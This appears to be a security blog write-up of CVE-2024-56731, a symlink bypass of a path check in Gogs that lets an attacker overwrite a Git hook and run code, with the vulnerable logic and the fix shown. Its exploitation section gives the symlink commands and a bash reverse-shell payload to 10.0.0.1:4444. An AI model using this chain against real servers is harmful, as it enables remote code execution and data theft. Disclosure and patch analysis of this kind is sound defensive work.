Gogs RCE: The Symlink That Killed the Patch (CVE-2024-56731)

Gogs is the lightweight, self-hosted Git service of choice for people who think GitLab is too heavy and GitHub is too... owned by Microsoft. It's written in Go, it's fast, and unfortunately, it has a history of trusting user input a little too much.

Earlier in 2024, researchers found a nasty bug (CVE-2024-39931) where users could delete files inside the hidden .git directory. The Gogs team patched it. Case closed, right? Wrong.

CVE-2024-56731 is the zombie resurrection of that bug. It turns out the original patch was like putting a "Do Not Enter" sign on a door but leaving the window wide open. By leveraging the magic of symbolic links, attackers can bypass the file path validation entirely, turning a simple file edit into a full system compromise. If you're running Gogs < 0.13.3, your server is essentially a public bash terminal waiting for a command.

The root cause here is a classic failure to understand the difference between a filename and a file system object. When the Gogs developers fixed the first vulnerability, they implemented a check effectively saying: "If the user tries to touch a file path that starts with .git/, stop them."

[!NOTE] The Logic Flaw: Validating security based on string patterns is almost always a bad idea when dealing with file systems.

An attacker creates a symbolic link named innocent_file that points to .git/hooks/post-receive. When the attacker asks the Gogs Web UI to edit innocent_file, the application checks the string. Does "innocent_file" start with ".git/"? No. The check passes.

However, when the application actually performs the os.WriteFile or os.Remove operation, the operating system (which doesn't care about your regex) dutifully follows the symbolic link and overwrites the critical Git hook deep inside the protected directory.

Let's look at why the code failed and how it was fixed. The vulnerable code relied on a helper function isRepositoryGitPath which purely checked the path string.

The Vulnerable Logic (Conceptual):

// The check only looks at the string literal provided by the user
if strings.HasPrefix(treePath, ".git/") {
    return errors.New("forbidden")
}
 
// The OS follows the symlink unknowingly
os.WriteFile(treePath, maliciousContent, 0777)

The Fix (Commit 1cba9bc):

The fix introduced in 0.13.3 is much more grounded in reality. Before touching a file, Gogs now asks the OS: "Is this thing a symlink?"

// New check in UpdateRepoFile and friends
info, err := os.Lstat(filePath)
if err == nil && osutil.IsSymlink(filePath) {
    return errors.New("cannot modify symbolic link")
}

By using os.Lstat (which does not follow the link), the application can finally see the deception for what it is. If it's a link, the operation is aborted immediately.

Exploiting this requires an authenticated account (standard user is fine) and permissions to push to a repository. Here is the kill chain:

1. Preparation: The attacker creates a local git repository.

   git init
   # Create a symlink pointing to the target hook on the server
   ln -s .git/hooks/post-receive rce_trigger
   git add rce_trigger
   git commit -m "Nothing to see here"

   Copy

2. Delivery: The attacker pushes this repository to the Gogs server.
3. The Trigger: The attacker logs into the Gogs Web Interface, navigates to the repository, and opens the rce_trigger file in the web editor.
4. The Payload: The attacker types a malicious script into the editor:

   #!/bin/sh
   bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

   Copy

5. Execution: When the attacker clicks "Commit Changes", Gogs writes this script through the symlink, overwriting .git/hooks/post-receive. The next time anyone pushes to this repo, the hook fires, and the attacker gets a reverse shell running as the git user.

This is a CVSS 10.0 for a reason. It is not just about deleting files; it is about executing code. The code runs with the privileges of the user running the Gogs process (usually git or gogs).

From there, the attacker can:

• Read all source code on the instance (even private repos).
• Modify code in other repositories (supply chain attack).
• Access config files (database credentials, AWS keys).
• Pivot to the internal network if the Gogs server has dual-homed interfaces.

Since many organizations run Gogs inside their internal network assuming it's "safe" because it's behind a VPN, this vulnerability turns a trusted developer account into a gateway for ransomware.